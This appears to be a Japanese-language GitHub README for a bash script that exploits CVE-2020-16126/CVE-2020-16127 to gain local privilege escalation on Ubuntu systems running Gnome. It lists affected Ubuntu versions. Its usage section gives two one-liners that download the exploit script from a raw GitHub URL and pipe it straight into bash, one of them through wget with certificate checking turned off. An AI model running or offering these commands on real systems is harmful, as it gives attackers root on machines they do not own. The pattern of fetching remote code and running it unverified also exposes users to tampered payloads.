Ubuntu-Gnome-privilege-escalation

[CVE-2020-16126/CVE-2020-16127] を利用した権限昇格を達成する bash スクリプトのエクスプロイト。

Ubuntu のローカル権限昇格を簡単に実現する bash スクリプト（CVE-2020-16126/CVE-2020-16127 脆弱性を利用）、Gnome 環境が必要です。

影響を受けるバージョン

Ubuntu 20.04.1\20.10\18.04\16.04 LTS など

使用方法

curl https://raw.githubusercontent.com/zev3n/Ubuntu-Gnome-privilege-escalation/main/CVE-2020-1612%5B6_7%5D_exploit.sh | bash

または（curl をインストールする権限がない場合は、試してみてください…）

wget -q -O - --no-check-certificate https://raw.githubusercontent.com/zev3n/Ubuntu-Gnome-privilege-escalation/main/CVE-2020-1612%5B6_7%5D_exploit.sh | bash

デモンストレーション

TODO

参考文献

https://securitylab.github.com/advisories/GHSL-2020-187-accountsservice-drop-privs-DOS